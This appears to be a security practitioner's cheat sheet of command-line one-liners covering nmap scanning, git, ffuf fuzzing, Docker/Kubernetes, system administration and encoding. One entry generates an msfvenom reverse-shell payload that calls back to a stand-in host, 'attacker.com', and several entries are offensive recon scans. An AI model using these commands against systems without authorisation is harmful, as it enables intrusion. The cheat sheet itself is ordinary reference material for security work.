Command Line Arsenal

Finding Security Holes Everywhere ¯\_(ツ)_/¯

A collection of handy CLI commands and tricks for security professionals

🔍 Nmap Techniques

# Fast scan of top 1000 ports
nmap -F -T4 target.com

# Full port scan with service detection
nmap -p- -sV target.com

# Aggressive scan with OS detection, version detection, script scanning, and traceroute
nmap -A target.com

# Scan through proxychains
proxychains nmap -sT -Pn target.com

# Scan for specific vulnerabilities 
nmap --script vuln target.com

🐙 Git Operations

# Use specific SSH key for git operations
GIT_SSH_COMMAND="ssh -i ~/.ssh/id_rsa_example" git clone git@github.com:user/repo.git

# Clone specific branch only with limited depth
git clone --single-branch --branch dev --depth 1 https://github.com/user/repo.git

# Fix your last commit message
git commit --amend -m "New commit message"

# Unstage all staged files
git reset HEAD

# Interactive rebase for cleaning up commits
git rebase -i HEAD~5

🛡️ Security Tools

# Set up a simple HTTP server for file transfers
python3 -m http.server 8000

# Find sensitive files in web directories
ffuf -w /path/to/wordlist -u https://target.com/FUZZ -e .bak,.swp,.old

# Check SSL/TLS configuration
nmap --script ssl-enum-ciphers -p 443 target.com

# Generate reverse shell payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=attacker.com LPORT=4444 -f elf > shell

# Extract endpoints from JavaScript files
grep -r "url\|href\|action\|path\|endpoint" --include="*.js" /path/to/js/files

🐳 Docker & Kubernetes

# List all running containers with ports
docker ps --format "{{.ID}}\t{{.Names}}\t{{.Ports}}"

# Get a shell in a running container
docker exec -it container_name /bin/bash

# Clean up all unused Docker resources
docker system prune -a

# Kubernetes: Forward local port to pod
kubectl port-forward pod/pod-name 8080:80

# Get logs from all pods with a specific label
kubectl logs -l app=nginx --all-containers

🔧 System Administration

# Find files modified in the last 24 hours
find /path/to/search -type f -mtime -1

# Monitor incoming and outgoing network connections
watch -n 1 "netstat -tunapl | grep ESTABLISHED"

# Find largest directories
du -h --max-depth=1 | sort -hr

# Securely erase free space
dd if=/dev/zero of=zero.fill bs=1M; sync; rm -f zero.fill

# Monitor system resource usage
htop --sort-key PERCENT_CPU

✂️ Text Wrangler Regexes

# Remove everything before the dot (and the dot itself) — handy
# for trimming a list of subdomains down to their domain names
^[^.]+.

🧰 Quick One-Liners

# Base64 encode a string
echo -n 'secret text' | base64

# Base64 decode a string
echo -n 'c2VjcmV0IHRleHQ=' | base64 -d

# URL encode a string
python3 -c "import urllib.parse; print(urllib.parse.quote('hello world?'))"

# URL decode a string
python3 -c "import urllib.parse; print(urllib.parse.unquote('hello%20world%3F'))"

# Generate 32 bytes of random hex
openssl rand -hex 32

# Check a TLS certificate's expiry date
echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -noout -enddate

# Calculate MD5 and SHA-256 checksums of a file
md5 file.iso
shasum -a 256 file.iso

# Strip ANSI colour codes from a log file
sed 's/\x1b\[[0-9;]*m//g' colour.log > clean.log

📚 Additional Resources

Have a useful command to share? Send it to me!